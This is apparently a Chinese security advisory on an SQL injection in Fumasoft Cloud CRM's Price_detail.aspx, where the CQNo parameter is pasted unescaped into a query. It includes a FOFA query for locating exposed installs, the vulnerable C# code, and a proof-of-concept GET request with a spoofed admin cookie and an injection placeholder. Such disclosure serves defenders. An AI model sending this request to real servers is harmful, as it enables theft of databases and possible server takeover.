孚盟云CRM Price_detail.aspx SQL注入漏洞


漏洞简介

上海孚盟软件有限公司是一家专业的外贸SaaS服务和行业解决方案提供商。其旗下产品孚盟云Price_detail.aspx接口存在SQL注入漏洞,未经身份验证的远程攻击者除了可以利用 SQL注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。

影响版本

fofa语法

app="孚盟软件-孚盟云"

漏洞分析

直接看 Price_detail.aspx 对应的dll文件 FumaCRM_BS.NewWeb.dll 里有关 Price_detail 方法的实现如下

this.CQNo = this.Request.QueryString["CQNo"];
string str1 = this.Request.QueryString["FromType"];
string fid = this.GetFID(this.CQNo.ToString());
((HtmlInputControl) this.hidDetailID).Value = fid;
this.model = new BillDetailModel();
this.model.UserID = this.userId;
this.model.ModuleID = this.mouldId;
this.model.DetailID = fid;
this.model.OptType = NewOperateType.Detail;
string str2 = str1;
if (!string.op_Equality(str2, "C"))
{
  if (!string.op_Equality(str2, "L"))
  {
    if (string.op_Equality(str2, "A"))
      this.GetFieldAttach(this.model.ModuleID, this.model.DetailID);
  }
  else
    this.GetProductList(this.CQNo);
}

跟进GetFID方法看下

public string GetFID(string CQNo)
{
  return this.dbHelper.Query($"SELECT FID FROM scCQ where CQNo='{CQNo}'").Tables[0].Rows[0][0].ToString();
}

参数CQNo未过滤或校验就被直接拼接进SQL语句执行,从而造成SQL注入漏洞。

该接口内其他地方也还存在sql注入

漏洞复现

GET /m/Dingding/Product/Price_detail.aspx?CQNo='SQLI_POC--&FromType=1 HTTP/1.1
Host: 
Cookie: UserCookie={"empId":"admin","corpId": "1"}

成功通过报错注入在响应回显当前数据库用户


手机扫码阅读

孚盟云CRM ProductGrid.aspx SQL注入漏洞

【威胁情报】供应链安全警报:Red Hat Cloud Services 官方 npm 包遭 CI/CD 注入攻击

评 论